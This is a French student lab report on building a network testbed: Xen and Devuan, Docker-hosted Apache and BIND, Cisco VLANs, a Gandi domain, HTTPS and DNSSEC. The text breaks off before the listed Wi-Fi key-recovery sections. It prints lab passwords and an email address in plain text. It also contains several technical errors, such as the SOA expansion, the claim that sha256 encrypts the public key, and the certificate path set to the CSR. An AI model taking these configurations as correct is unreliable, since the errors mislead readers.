TP sysres IMA2a5 2018/2019 G1 : Différence entre versions

Version du 9 décembre 2018 à 13:14

Axel & Bastien COMMUTATEUR

Sommaire

1 Introduction
2 Installation des systèmes d'exploitation
3 Architecture réseau
- 3.1 Synoptique
- 3.2 Configuration du commutateur Catalyst 4006
  - 3.2.1 Raccordements
  - 3.2.2 Configuration des VLANs
4 Services internet
- 4.1 Achat et configuration du nom de domaine sur GANDI
  - 4.1.1 Achat
  - 4.1.2 Configuration
- 4.2 Sécurisation de notre site
  - 4.2.1 Certificats SSL
    - 4.2.1.1 Génération des clés
    - 4.2.1.2 Configuration HTTPS
  - 4.2.2 Sécurisation par DNSSEC
    - 4.2.2.1 Explications et intérêts
    - 4.2.2.2 Mise en place du DNSSEC
5 Tests d'intrusion
6 Recuperation de la clef WEP
7 Recuperation de la clef WPA2-PSK

Introduction

Ce TP consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous avons à installer une machine virtuelle Xen avec l'OS Devian ainsi qu'implanter un auto-commutateur et un point d'accès. Nous effectuerons pas la suite des tests d'intrusion sur ces points d'accès afin de voir la vulnérabilité des différents protocoles de clé (WEP / WPA-PSK).

Installation des systèmes d'exploitation

Configuration de l'accès internet sur la Zabeth08

L’accès internet ne fonctionnait pas car l’utilitaire bridge-utils n’était pas installé, on a donc modifié le /etc/network/interfaces pour se connecter au serveur DHCP et avoir un accès internet temporaire et télécharger les paquets de cet utilitaire. Une fois ces paquets installés la connexion de pont a pu être réalisée, on a donc essayé de se connecter de nouveau, mais la connexion ne fonctionnait toujours pas. On a donc modifié le fichier /etc/dhcp/dhclient.conf pour ajouter un timeout et un retry de 180.

Voici ces fichiers:

     /etc/network/interfaces
     
     # This file describes the network interfaces available on your system
     # and how to activate them. For more information, see interfaces(5).
     
     source /etc/network/interfaces.d/*
     
     # The loopback network interface
     auto lo
     iface lo inet loopback
     
     # The primary network interface (IPv4)
     auto eth0
     iface eth0 inet manual
     up ip link set dev $IFACE up
     
     # A secondary network interface (IPv4)
     auto eth1
     iface eth1 inet manual
     up ip link set dev $IFACE up
     
     # Bridge
     auto bridge
     iface bridge inet dhcp
     bridge_ports eth0 eth1
     bridge_hw 00:22:4d:7a:f0:70

     /etc/dhcp/dhclient.conf
     # Configuration file for /sbin/dhclient.
     #
     # This is a sample configuration file for dhclient. See dhclient.conf's
     #    man page for more information about the syntax of this file
     #    and a more comprehensive list of the parameters understood by
     #    dhclient.
     #
     # Normally, if the DHCP server provides reasonable information and does
     #    not leave anything out (like the domain name, for example), then
     #    few changes must be made to this file, if any.
     #
     
     option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;
     
     send host-name = gethostname();
     request subnet-mask, broadcast-address, time-offset, routers,
         domain-name, domain-name-servers, domain-search, host-name,
         dhcp6.name-servers, dhcp6.domain-search, dhcp6.fqdn, dhcp6.sntp-servers,
         netbios-name-servers, netbios-scope, interface-mtu,
         rfc3442-classless-static-routes, ntp-servers;
     
     #send dhcp-client-identifier 1:0:a0:24:ab:fb:9c;
     #send dhcp-lease-time 3600;
     #supersede domain-name "fugue.com home.vix.com";
     #prepend domain-name-servers 127.0.0.1;
     #require subnet-mask, domain-name-servers;
     timeout 180;
     retry 180;
     #reboot 10;
     #select-timeout 5;
     #initial-interval 2;
     #script "/sbin/dhclient-script";
     #media "-link0 -link1 -link2", "link0 link1";
     #reject 192.33.137.209;
     
     #alias {
     #  interface "eth0";
     #  fixed-address 192.5.5.213;
     #  option subnet-mask 255.255.255.255;
     #}
     
     #lease {
     #  interface "eth0";
     #  fixed-address 192.33.137.200;
     #  medium "link0 link1";
     #  option host-name "andare.swiftmedia.com";
     #  option subnet-mask 255.255.255.0;
     #  option broadcast-address 192.33.137.255;
     #  option routers 192.33.137.250;
     #  option domain-name-servers 127.0.0.1;
     #  renew 2 2000/1/12 00:00:01;
     #  rebind 2 2000/1/12 00:00:01;
     #  expire 2 2000/1/12 00:00:01;
     #}

Installation de Devuan sur le PC portable

Avec la clé usb de boot on a installé l’OS Devuan sur le pc portable “brochet”

Nom d’utilisateur :
superbrochet / root

Mot de passe :
glopglop

Problèmes rencontrés

Le proxy de polytech n'a pas été défini lors de l'installation —> Ajout de http:/proxy proxy.polytech-lile.fr:3128 OK
le miroir devuan ne s’est pas configuré. On l’a donc ajouté

     /etc/apt/sources.list
     deb http://fr.deb.devuan.org/merged/ ascii main non-free contrib
     deb-src http://fr.deb.devuan.org/merged/ ascii main non-free contrib
     deb http://auto-mirror.devuan.org/merged ascii-security main non-free contrib
     deb-src http://auto-mirror.devuan.org/merged ascii-security main non-free contrib

Installation de la machine virtuelle avec Xen

Installation de la VM

Nous avons ouvert une connection Secure Shell (SSH) sur cordouan : cordouan.insecserv.deule.net

Nous avons ensuite créé la machine virtuelle grâce à la commande suivante :

     xen-create-image --hostname=coreff --dhcp --dir=/usr/local/xen --dist=ascii
     --apt-proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

On a ensuite modifié le fichier de configuration de la machine virtuelle de la façon suivante:

     /etc/xen/coreff.cfg
     # Configuration file for the Xen instance coreff, created
     # by xen-tools 4.7 on Fri Sep 28 16:56:02 2018.
     #
     
     #
     #  Kernel + memory size
     #
     kernel  	= '/boot/vmlinuz-4.14.0-3-amd64'
     extra   	= 'elevator=noop'
     ramdisk 	= '/boot/initrd.img-4.14.0-3-amd64'
     
     vcpus   	= '1'
     memory  	= '256'
     
     #
     #  Disk device(s).
     #
     root    	= '/dev/xvda2 ro'
     disk    	= [
                   	'file:/usr/local/xen/domains/coreff/disk.img,xvda2,w',
                   	'file:/usr/local/xen/domains/coreff/swap.img,xvda1,w',
               	]
     
     #
     #  Physical volumes
     #
     
     
     #
     #  Hostname
     #
     name    	= 'coreff'
     
     #
     #  Networking
     #
     dhcp    	= 'dhcp'
     vif     	= [ 'mac=00:16:3E:8B:FC:65' ]
     vif     	= [ 'mac=00:16:3E:8B:FC:65, bridge=bridgeIMA2a5 ' ]
     
     #
     #  Behaviour
     #
     on_poweroff = 'destroy'
     on_reboot   = 'restart'
     on_crash	= 'restart'

Puis xl create coreff.cfg pour parser la configuration de la VM. Et xl console coreff dans un autre terminal pour lancer la machine virtuelle.

On a modifié le mot de passe root de la VM : glopglop!

Montage du /var et du /home dans cordouan

En SSH sur cordouan, on a créé les volumes logiques de 10Go correspondant à ces deux répertoires:

     lvcreate -L10G -n apIMA5-coreff-home virtual
     lvcreate -L10G -n apIMA5-coreff-var virtual

Nous avons ensuite créé le système de fichier sur ces volumes :

     mke2fs /dev/virtual/apIMA5-coreff-home
     mke2fs /dev/virtual/apIMA5-coreff-var

Et modifier une nouvelle fois le fichier de configuration de notre machine virtuelle afin de lui indiquer que les répertoires correspondent à des points de montages physique:

     /etc/xen/coreff.cfg
     [...]
     #
     #  Disk device(s).
     #
     root    	= '/dev/xvda2 ro'
     disk    	= [
                   	'file:/usr/local/xen/domains/coreff/disk.img,xvda2,w',
                   	'file:/usr/local/xen/domains/coreff/swap.img,xvda1,w',               
                        'phy:/dev/virtual/apIMA5-coreff-home,xvdb1,w',
                        'phy:/dev/virtual/apIMA5-coreff-var,xvdb2,w',
                  ]
     [...]

On vérifie sur Coreff que tout à fonctionner :

     root@coreff:~# fdisk -l
     Disk /dev/xvda2: 4 GiB, 4294967296 bytes, 8388608 sectors
     Units: sectors of 1 * 512 = 512 bytes
     Sector size (logical/physical): 512 bytes / 512 bytes
     I/O size (minimum/optimal): 512 bytes / 512 bytes
     
     Disk /dev/xvda1: 512 MiB, 536870912 bytes, 1048576 sectors
     Units: sectors of 1 * 512 = 512 bytes
     Sector size (logical/physical): 512 bytes / 512 bytes
     I/O size (minimum/optimal): 512 bytes / 512 bytes
     
     Disk /dev/xvdb1: 10 GiB, 10737418240 bytes, 20971520 sectors
     Units: sectors of 1 * 512 = 512 bytes
     Sector size (logical/physical): 512 bytes / 512 bytes
     I/O size (minimum/optimal): 512 bytes / 512 bytes
     
     Disk /dev/xvdb2: 10 GiB, 10737418240 bytes, 20971520 sectors
     Units: sectors of 1 * 512 = 512 bytes
     Sector size (logical/physical): 512 bytes / 512 bytes
     I/O size (minimum/optimal): 512 bytes / 512 bytes

Les volumes ont bien été créés ! ♥

On modifie le fstab de la VM pour indiquer au système d'exploitation que ces volumes sont à monter automatiquement au démarrage:

     # /etc/fstab: static file system information.
     #
     # <file system> 	<mount point>	<type>		<options>				<dump>		<pass>
     proc        	/proc		proc		defaults				0		0
     devpts		/dev/pts	devpts		rw,noexec,nosuid,gid=5,mode=620		0		0
     /dev/xvda1		none		swap		sw					0		0
     /dev/xvda2		/		ext4		noatime,nodiratime,errors=remount-ro	0		1
     /dev/xvdb1		/home		ext4		defaults				0		2
     /dev/xvdb2		/var		ext4		defaults				0		2

Petite vérification : On a bien un /home vide (mis à part le lost+found)

     root@coreff:~# ls /home
     	lost+found

Notre répertoire /var n'étant pas vide, on ne peut pas procéder de la même maniere. Commençonc par monter le xvdb2 dans le répertoire de montage temporaire /mnt:

     root@coreff:~# mount /dev/xvdb2 /mnt

On déplace ensuite tout les fichiers du /var dans le /mnt

!! ATTENTION !! Cette opération est très critique car à ce moment là, le système n'a plus de /var

     root@coreff:~# mv /var/* /mnt

On démonte ensuite le /mnt, puis on remonte le tout :

     root@coreff:~# umount /mnt
     root@coreff:~# mount -a

On vérifie que toutes ces opération se sont bien passées :

     root@coreff:~# df
     Filesystem		1K-blocks	Used	Available	Use%	Mounted on
     udev		75004		0 	75004		0%	/dev
     tmpfs          	23824		76 	23748		1%	/run
     /dev/xvda2   	4062912		459920	3376896		12%	/
     tmpfs           	5120		0  	5120		0%	/run/lock
     tmpfs         	152500  	0	152500		0%	/run/shm
     /dev/xvdb1  	10321208	23028   9773892		1%	/home
     /dev/xvdb2  	10321208	71076   9725844		1%	/var

Tout est OK, passons à l'installation des paquetages.

Installation de Docker et création des containers

Pour faciliter l'installation des différents paquetages, il nous est proposé d'utiliser l'outil Docker. Docker est un outil permettant la création de containers contenant des services que nous pourrons moduler facilement en choisissant de démarrer ou non ces containers. Passons à l'installation :

Installation de Docker-Engine

Prérequis: Pour l'installation de Docker-Engine il nous faut premièrement installer les paquets apt-transport-https et dirmngr

     apt-get install apt-transport-https dirmngr

Il nous faut ensuite rajouter le miroir pour pouvoir télécharger Docker-Engine :

     echo 'deb https://apt.dockerproject.org/repo debian-stretch main' >> /etc/apt/sources.list

Gestion des trousseaux de clés: Lorsque l'on ajoute des dépots ppa à notre distribution et pour éviter l'erreur <<GPG "NO_PUBKEY">> il faut passer par la commande apt-key. apt-key gère les clés dont se sert apt pour authentifier les paquets. Les paquets authentifiés par ces clés seront réputés fiables.; Cependant, le port HKP (11371/tcp) est filtré par un pare-feu, il faut donc passer en http:

     apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys F76221572C52609D
     
     Executing: /tmp/apt-key-gpghome.t2eVBZUjfM/gpg.1.sh --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys F76221572C52609D
     gpg: key F76221572C52609D: public key "Docker Release Tool (releasedocker) 
     <docker@docker.com>" imported
     gpg: Total number processed: 1
     gpg:               imported: 1

Faisons une mise à jour : apt-get update

Installation de Docker-Engine: Après avoir installé Docker-Engine (apt-get install docker-engine) il nous faut renseigner le proxy de Polytech' dans docker : dans le fichier /etc/default/docker on a rajouter

     export http_proxy="http://proxy.polytech-lille.fr:3128/"

On redémarre le service et le tour est joué : service docker restart

Installation des containers

Premièrement nous avons essayé de créer les containers "à la main" mais cette méthode est lourde et chronophage. Nous avons donc opté pour le téléchargement de containers sur la plateforme open-source de Docker. Ces containers sont stables et largement utilisés au travers du monde. (https://hub.docker.com/)

httpd

httpd est le programme du serveur HTTP d'Apache. Il a été conçu pour fonctionner sous forme de processus démon indépendant. Lorsqu'il est utilisé ainsi, il va créer un jeu de processus enfants ou de threads qui traiteront les requêtes.

Téléchargement

     docker pull httpd

Vérification

     root@coreff:/# docker images
     REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
     httpd               latest              dabb52744997        9 days ago          178MB

Lancement du container

     docker run -dit --name=apache -v "$PWD"/httpd/htdocs/index.html:/usr/local/apache2/htdocs/index.html \
     -v "$PWD"/httpd/conf/httpd.conf:/usr/local/apache2/conf/httpd.conf -p 80:80 httpd

Nous lançons le container httpd avec les options suivantes :

-d Afin de lancer le container en mode détaché

-i Afin de garder l'entrée standart STDIN ouverte même si le container est en mode détache

-t Afin d'allouer un pseudo-tty

--name apache Afin d'attribuer un nom à ce container. Ceci rend la tâche plus simple quand il s'agit d'appeler le container plutôt que l'utiliser son UUID qui se matérialise sous la forme d'une clé en SHA-256

-v Afin de lier un point de montage. Ici nous lions $PWD qui correspond à notre répertoire /root/ au répertoire /usr/local/apache2/htdocs/ du container. Ceci nous permet de créer et modifier notre page web à la racine de notre répertoire /root et que les modifications se fassent directement dans le container, il en est de même pour le fichier de config httpd.conf.

-p Afin de mapper les ports d'écoute de la machine virtuelle et du docker. Ici nous mappons les ports http (80).

bind9

bind est un logiciel open source qui permet de publier nos informations DNS (Domain Name System) sur Internet et de résoudre les requêtes DNS des utilisateurs. Le nom BIND signifie «Berkeley Internet Name Domain». Le service DNS (Domain Name System) est un service TCP/IP permettant la correspondance entre un nom de domaine qualifié (FQDN : Fully Qualified Domain Name) et une adresse IP.

Téléchargement

     docker pull ventz/bind

Vérification

     root@coreff:~# docker images
     REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
     httpd               latest              dabb52744997        10 days ago         178MB
     ventz/bind          latest              c54ade396204        4 weeks ago         11.7MB

Nous avons modifié les fichiers de configuration suivant:

/etc/bind/named.conf.options

     root@coreff:~/Bind# cat named.conf.options
     options {
         directory "/var/cache/bind";
     
         // If there is a firewall between you and nameservers you want
         // to talk to, you may need to fix the firewall to allow multiple
         // ports to talk.  See http://www.kb.cert.org/vuls/id/800113
     
         // If your ISP provided one or more IP addresses for stable
         // nameservers, you probably want to use them as forwarders.  
         // Uncomment the following block, and insert the addresses replacing
         // the all-0's placeholder.
     
         // forwarders {
         //     0.0.0.0;
         // };
     
         //========================================================================
         // If BIND logs error messages about the root key being expired,
         // you will need to update your keys.  See https://www.isc.org/bind-keys
         //========================================================================
         dnssec-validation auto;
     
         auth-nxdomain no;    # conform to RFC1035
         listen-on-v6 { any; };
         allow-transfer { "allowed_to_transfer"; };
     };
     
     acl "allowed_to_transfer" {
         217.70.177.40/32;
     };

Ici 217.70.177.40 correspond à l'adresse du ns6.gandi.net

/etc/bind/named.conf.local: C'est dans ce ficher que se trouvent nos déclarations de zones DNS. Il faut ajouter une zone par site internet que nous hégergeons.

     root@coreff:~/Bind# cat named.conf.local
     //
     // Do any local configuration here
     //
     
     // Consider adding the 1918 zone here, if they are not used in your
     // organization
     // include "/etc/bind/zones.rfc1918";
     
     zone "coreff.space" {
         type master;
         file "/etc/bind/coreff.space";
     };

/etc/bind/coreff.space

     root@coreff:~/Bind# cat coreff.space
     $TTL 259200
     
     @ IN SOA dns.coreff.space. admin.coreff.space. (
         10      ; Version
         7200    ; Refresh (2h)
         3600    ; Retry (1h)
         1209600 ; Expire (14j)
         7200    ; Minimum TTL (2h)
      IN NS dns.coreff.space.
      IN NS ns6.gandi.net.
      IN MX 100 dns.coreff.space.
      IN A     193.48.57.161
     
     www    IN A    193.48.57.161
            IN MX    100 dns.coreff.space.
     dns    IN A    193.48.57.161

Explications

IN Signifie internet, c’est à dire que la zone après le IN est destinée à internet

SOA Signifie Star Of Authority, indiquant le serveur de nom faisant autorité c’est à dire votre DNS principal.

dns.coreff.space. est le DNS principal de notre domaine

admin.coreff.space. est une adresse email (non-valide ici mais il n'y a pas d'utilité spéciale)

IN NS est utilisé pour définir quels serveurs répondent pour cette zone.

IN MX est utilisé pour définir vers quel serveur de la zone un email à destination du domaine doit être envoyé, et avec quelle priorité.

IN A est utilisé pour faire correspondre une adresse IP a une machine

193.48.57.161 est l'adresse IP de notre machine virtuelle coreff

Problème rencontré: Il était impossible de lancer des commandes dans le container avec la commande docker exec. Il nous a fallu du temps pour comprendre que le container executait juste une configuration et se fermait automatiquement après. Pour palier à ce problème, nous avons fait comme pour http, c'est à dire lier les montages des fichiers de configuration ci-dessus.
Lancement du container

     docker run --name=dns -dit --dns=8.8.8.8 --dns=8.8.4.4 -p 53:53/udp -p 53:53 \
     -v "$PWD"/Bind/named.conf.local:/etc/bind/named.conf.local \
     -v "$PWD"/Bind/named.conf.options:/etc/bind/named.conf.options \
     -v "$PWD"/Bind/coreff.space:/etc/bind/coreff.space

Maintenant il faut que nous notre réseau soit totalement configuré. Cela passe par la configuration des routeurs (travail de 2 autres groupes) et la configuration des commutateurs. Une fois cela fait et quand nous aurons acheter un nom de domaine, nous serons en mesure d’accéder à notre site internet.

Architecture réseau

Synoptique

L'architecture qui nous est proposé de réalisé est une architecture en étoile. Cette architecture présente l'avantage d'être résistante aux défauts car, si un commutateur ou un routeur venait à tomber en panne, l'autre pourrait alors reprendre la main et limiter la durée d'interruption du trafic. Ci dessous, un synoptique de l'architecture que nous réaliserons :

Notre travail est de configurer correctement le commutateur encadré ci dessus. Il s'agit, comme l'autre, d'un Catalyst 4006 :

Configuration du commutateur Catalyst 4006

Pour configurer ce commutateur, nous nous sommes connectés sur son port console via un cable série et nous avons utilisé l'utilitaire minicom. Minicom est un programme de contrôle de modem et d'émulation de terminal pour les OS de type UNIX.

     minicom -o -D /dev/ttyUSB0 -b 9600

Nous lançons minicom avec les options suivantes :

-o Afin que minicom ignore le code d'initialisation. Cette option est pratique dans le cas ou nous quittons une session minicom dans le but de la relançer plus tard.

-D Afin de préciser le périphérique. Ici le cable série est relié à notre PC via USB, nous renseignons donc l'interface correspondante : /dev/ttyUSB0

-b Afin de préciser le baud rate, 9600 ici.

Nous sommes maintenant connectés au commutateur. Nous pouvons connaître sa configuration actuelle au moyen des commandes suivantes :

     show int summary
     show vlan
     show run

Cela nous donne 3 niveaux de visualisation de l'état des VLANS du commutateur.

Raccordements

Le travail de raccordement à été réalisé par le groupe 4, nous sommes donc partis du principe que le travail avait été bien fait, nous ne nous en sommes pas souciés.

Configuration des VLANs

Notre commutateur est relié :

au serveur Cordouan
au routeur dans la salle 304
au routeur dans la salle 306
au point d'accès wifi
l'interconnexion
2 ports supplémentaires de test

Nous avons créé 7 VLANs : un pour chaque groupe + un pour l'interconnexion + un pour Xen.

Nom VLAN	Prise	VLAN
Cordouan	GigabitEthernet3/2	VLAN 42
Interconnexion (Routeur E304)	GigabitEthernet2/1	trunk
Borne Wifi	GigabitEthernet2/3	trunk
Routeur E306 (en fibre)	GigabitEthernet3/1	trunk
Port test 1	FastEthernet3/3	VLAN 42
Port test 2	FastEthernet3/4	VLAN 42

Pour la configuration des ports qui ne sont pas en trunk nous les avons appliqué la configuration suivante :

     interface GigabitEthernet 2/2
     switchport mode access
     switchport access vlan 42
     no shut
     exit (x2)
     exit
     write

Explications:

interface GigabitEthernet 3/2 nous sélectionnons simplement l'interface sur laquelle nous allons opérer des modifications.

switchport mode access nous permet de rendre cette interface accessible.

switchport access vlan 42 nous permet de définir à quel VLAN sera associé cette interface.

no shut Nous permet de garder cette interface active.

Pour ceux qui necessitaient d'être en trunk nous avons appliqué la configuration suivante :

     interface GigabitEthernet 2/3
     switchport trunk encapsulation dot1q
     switchport mode trunk
     no shut
     exit
     exit
     write

Explications:

switchport trunk encapsulation dot1q nous permet d’insérer l’identifiant du VLAN sur la trame. Toute trame se propageant sur plusieurs switchs/routeur conservera toujours l’information de son appartenance à son VLAN. Et le switch de destination saura avec quels ports la trame peut être commutée. Cela vient de la norme 802.1q d'où l'encapsulation "dot1q"

switchport mode trunk nous permet de passer l'interface en mode trunk.

Nous vérifions la configuration grace à sh int status :

     Port      Name               Status       Vlan       Duplex  Speed Type
     [...]
     Gi2/1                        notconnect   1            auto   auto 10/100/1000-TX
     [...]
     Gi2/3                        connected    trunk      a-full a-1000 10/100/1000-TX
     [...]
     Gi3/1                        notconnect   1            full   1000 1000BaseSX
     Gi3/2                        connected    42           full   1000 1000BaseSX
     Fa3/3                        notconnect   42           auto   auto 10/100BaseTX
     Fa3/4                        notconnect   42           auto   auto 10/100BaseTX
     [...]

Des tests de ping ont été faits depuis notre Vm et sur les ports pour vérifier la configuration, tout s'est bien passé.

Services internet

Achat et configuration du nom de domaine sur GANDI

Achat

Nous devons réaliser un site web sécurisé. Pour commencer nous avons donc acheter un nom de domaine via le registrar GANDI. Notre nom de domaine est donc coreff.space

Configuration

Pour commencer nous avons dû ajouter un "glue record" qui est un enregistrement collé (pas très français) et permet d'associer un nom d'hôte avec une adresse IP au registre.

Une fois cela fait, nous avons pû configurer les serveurs ne noms sur GANDI: Nous avions 3 DNS proposé par défaut, on les a supprimés et mit en 1ère position notre dns : dns.coreff.space et en 2ème position ns6.gandi.net le DNS que nous avons configré avec bind.

Nous avons attendu un peu de temps afin que les informations de route soient propagés sur internet. Nous avons vérifié avec l'utilitaire en ligne DNSLOOKUP :

Tout s'est bien passé. Vérifions avec ZoneCheck :

Tout s'est bien passé. Nous pouvons accéder à notre site internet depuis n'importe où en tapant notre adresse coreff.space dans un navigateur !

Sécurisation de notre site

Bon, avoir un site accessible c'est bien, mais avoir un site sécurisé c'est mieux ! Commençons par passer notre site en HTTPS

Certificats SSL

SSL est un acronyme pour « Secure Sockets Layer » (que l’on pourrait traduire par couche de contacts sécurisée). Un certificat SSL est un fichier qui est installé sur un serveur Web qui permet (entre autre) :

l’authentification du serveur par une Autorité de Certification (Gandi/Comodo)
une transmission sécurisée et l’intégrité des données échangées entre le visiteur du site internet et le serveur.

Pour cela nous avons besoin de 2 clés :

La clé privée (le fichier .key) qui doit rester secrète.
La clé publique qui est fournie par ce qu’on appelle une CSR (Certificate Signing Request,Demande de signature de certificat) qui est une série de caractères contenant les informations de la dite clé publique. Cette CSR (fichier .csr) est créé pendant le processus de création de votre certificat sur Gandi. Les clés publiques n’ont pas besoin d’être conservé au secret, en fait elles sont prévues pour être partagées publiquement.

Génération des clés

Afin de générer la CSR nous avons exécuté la commande suivante dans un terminal :

     openssl req -nodes -newkey rsa:2048 -sha256 -keyout coreff.key -out coreff.csr

Explications :

OpenSSL est une boîte à outils de chiffrement.

'req afin de gérer les CSR.

-nodes afin de ne pas chiffrer la clé privée

-newkey rsa:2048 afin de créer une nouvelle demande de certificat et une nouvelle clé privée. rsa:2048 génère une clé RSA de 2048 bits.

sha256 permet de chiffrer la clé publique en sha-256.

-keyout coreff.key permet de sauvegarder la clé privée.

-out coreff.csr permet de sauvegarder la clé publique.

Dès lors une série de questions nous est posée :

     Country Name (2 letter code) [AU]:FR
     State or Province Name (full name) [Some-State]:Nord
     Locality Name (eg, city) []:Lille
     Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille
     Organizational Unit Name (eg, section) []:IMA
     Common Name (e.g. server FQDN or YOUR name) []:coreff.space
     Email Address []:axel.ovelacq@outlook.fr
     
     Please enter the following 'extra' attributes
     to be sent with your certificate request
     A challenge password []:glopglop!

Une fois que nous avons répondu à ces questions, nous sommes en possession des 2 clés. Nous copions le contenu de la CSR dans GANDI. Afin de valider et nous fournir notre certificat, GANDI nous demande de placer un fichier texte dans un répertoire sur notre site. Ce que nous avons fait en mappant ce fichier texte à l'endroit indiqué par GANDI :

     docker run -d --name=apache -v /root/httpd/htdocs/index.html:/usr/local/apache2/htdocs/index.html \
     -v /root/httpd/conf/httpd.conf:/usr/local/httpd.conf \
     -v  /root/httpd/6B58A62617066D87990829CA2017CD59.txt:/usr/local/apache2/htdocs/.well-known/pki-validation/6B58A62617066D87990829CA2017CD59.txt \
     -p 80:80 \
     httpd

Dès lors GANDI va valider le contrôle du domaine. Ce qu va mettre un peu de temps.

Configuration HTTPS

Nous pouvons profiter de ce temps pour préparer notre site au protocole HTTPS. Pour cela il nous faut :

Modifier le fichier httpd.conf

Nous devons charger le module mod_ssl.so

Nous devons inclure le fichier de configuration conf/extra/httpd-ssl.conf prenant en charge les certificats SSL

Tout ceci peut être réalisé simplement grace à une commande sed :

     sed -i \
     -e 's/^#\(Include .*httpd-ssl.conf\)/\1/' \
     -e 's/^#\(LoadModule .*mod_ssl.so\)/\1/' \
     httpd.conf

Modifier le fichier de configuration httpd-ssl.conf que nous venons d'inclure

     <VirtualHost _default_:443>
     
     #   General setup for the virtual host
     DocumentRoot "/usr/local/apache2/htdocs"
     ServerName coreff.space:443
     ServerAdmin axel.ovelacq@outlook.fr
     ErrorLog "/usr/local/apache2/logs/error_log"
     TransferLog "/usr/local/apache2/logs/access_log"
     
     #   SSL Engine Switch:
     SSLEngine on
     
     #   Server Certificate:
     SSLCertificateFile "/usr/local/apache2/conf/coreff.csr"
     [...]
     
     #   Server Private Key:
     SSLCertificateKeyFile "/usr/local/apache2/conf/coreff.key"
     [...]
     </VirtualHost>

Attendre le certificat de gandi et relancer le container en mappant les nouveaux fichiers de configuration et en mappant le port https (443)

     docker run -d --name=apache \
     -v /root/httpd/htdocs/index.html:/usr/local/apache2/htdocs/index.html \
     -v /root/httpd/conf/httpd.conf:/usr/local/httpd.conf \
     -v /root/httpd/6B58A62617066D87990829CA2017CD59.txt:/usr/local/apache2/htdocs/.well-known/pki-validation/6B58A62617066D87990829CA2017CD59.txt \
     -v /root/httpd/httpd-ssl.conf:/usr/local/apache2/conf/extra/httpd-ssl.conf \
     -v /root/httpd/coreff.csr:/usr/local/apache2/conf/coreff.csr \
     -v /root/httpd/coreff.key:/usr/local/apache2/conf/coreff.key \
     -p 80:80 \
     -p 443:443 \
     httpd

Sécurisation par DNSSEC

Explications et intérêts

Des vulnérabilités ont été découvertes dans le système DNS : elles permettent à un pirate d’intercepter le processus de recherche d’une personne ou d’un site dans l’Internet et d’utiliser leur nom. L’objectif de l’attaque est de prendre le contrôle de la session et, par exemple, d’envoyer l’internaute vers le site Web frauduleux du pirate afin de récupérer le compte et le mot de passe.

Le système DNS traduit les noms de domaine que les personnes peuvent facilement retenir, en chiffres que les ordinateurs utilisent pour chercher la destination, un peu comme un annuaire téléphonique sert à trouver un numéro de téléphone. Cela se fait par étapes. Le premier endroit où le système DNS « regarde » est le premier niveau du service d’annuaire, ou « zone racine ». En prenant par exemple www.google.com, l'ordinateur « demande » à l’annuaire de la zone racine (ou premier niveau) où trouver les renseignements relatifs à « .com ». Une fois la réponse obtenue, il demande au service d’annuaire « .com », identifié par la racine, où trouver les renseignements sur .google.com (le second niveau). Enfin, il demande au service d'annuaire google.com, identifié par « .com », l’adresse de www.google.com (le troisième niveau). À la fin de ce processus presque instantané, votre ordinateur reçoit l’adresse complète. Chaque service d’annuaire est géré par une entité différente : google.com par Google, « .com » par VeriSign Corporation (et les autres domaines de premier niveau par d’autres organismes), et la zone racine par l’ICANN.

Suite aux vulnérabilités découvertes qui ont fortement réduit le temps nécessaire à un pirate pour détourner à son profit une étape du processus de consultation DNS, la seule solution viable pour combler cette faille fut de déployer de bout en bout le protocole de sécurité dénommé extensions de sécurité des noms de domaine ou DNSSEC.

La technologie DNSSEC a été développée, entre autres choses, afin de se protéger de telles attaques. Elle permet d’apposer une « signature » numérique aux données et garantit ainsi à l’utilisateur la validité de ces données. Afin d’éliminer cette vulnérabilité de l’Internet, il faut déployer DNSSEC à chaque étape de consultation, de la consultation de la zone racine à celle du nom de domaine final, comme www.icann.org. La signature de la racine, c.-à-d. le déploiement de DNSSEC au niveau de la zone racine, est une étape nécessaire du processus global. Il est important de noter que cette technologie ne chiffre pas les informations ; elle ne fait qu’attester de la validité de l’adresse du site qui est consulté.

Mise en place du DNSSEC

Tout d'abord il faut générer 2 paires de clés : la clé publique sera transmise à GANDI et nous garderons la clé publique dans notre Docker bind :

     dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE coreff.space
     dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE coreff.space

Ce qui nous génère 2 paires de clés avec des noms infâmes, Nous les renomons donc en

     coreff.space-ksk.key
     coreff.space-zsk.key
     coreff.space-ksk.private
     coreff.space-zsk.private

Il nous faut ensuite ajouter nos clés privées dans notre fichier de zone sur le docker (coreff.space). Ce sont ces clés qui permettrons de vérifier la provenance des données que nous recevrons.

     $include /etc/bind/coreff.space.dnssec/coreff.space-ksk.key
     $include /etc/bind/coreff.space.dnssec/coreff.space-zsk.key

Il nous faut ensuite incrémenter le numéro de version sur notre fichier de zone :

     root@coreff:/etc/bind# cat coreff.space       
     $TTL 259200
     
     $include /etc/bind/coreff.space.dnssec/coreff.space-ksk.key
     $include /etc/bind/coreff.space.dnssec/coreff.space-zsk.key
     
     @ IN SOA dns.coreff.space. admin.coreff.space. (
             42	      ; Version
             7200	; Refresh (2h)
             3600	; Retry (1h)
             1209600	; Expire (14j)
             7200	; Minimum TTL (2j)
             )
     IN NS dns.coreff.space.
     IN NS ns6.gandi.net.
     IN MX 100 dns.coreff.space.
     IN A 	193.48.57.161
     
     www	IN A	193.48.57.161
       	IN MX	100 dns.coreff.space.
     dns	IN A	193.48.57.161

Pour que nos modification soient prise en compte nos devons donc signer notre fichier de configuration:

     dnssec-signzone -o coreff.space -k coreff.space.dnssec/coreff.space-ksk coreff.space coreff.space.dnssec/coreff.space-zsk

Ce qui nous génère notre fichier signé : coreff.space.signed On modifie ensuite le fichier named.conf.local afin qu'il prennes en compte ce fichier :

     root@coreff:/etc/bind# cat named.conf.local 
     
     include "/etc/bind/zones.rfc1918";
     zone "coreff.space" {
           type master;
           file "/etc/bind/coreff.space.signed";
     };

On modifie également notre fichier named.conf.options afin d'activer le DNSSEC

     root@coreff:/etc/bind# cat named.conf.options 
     options {
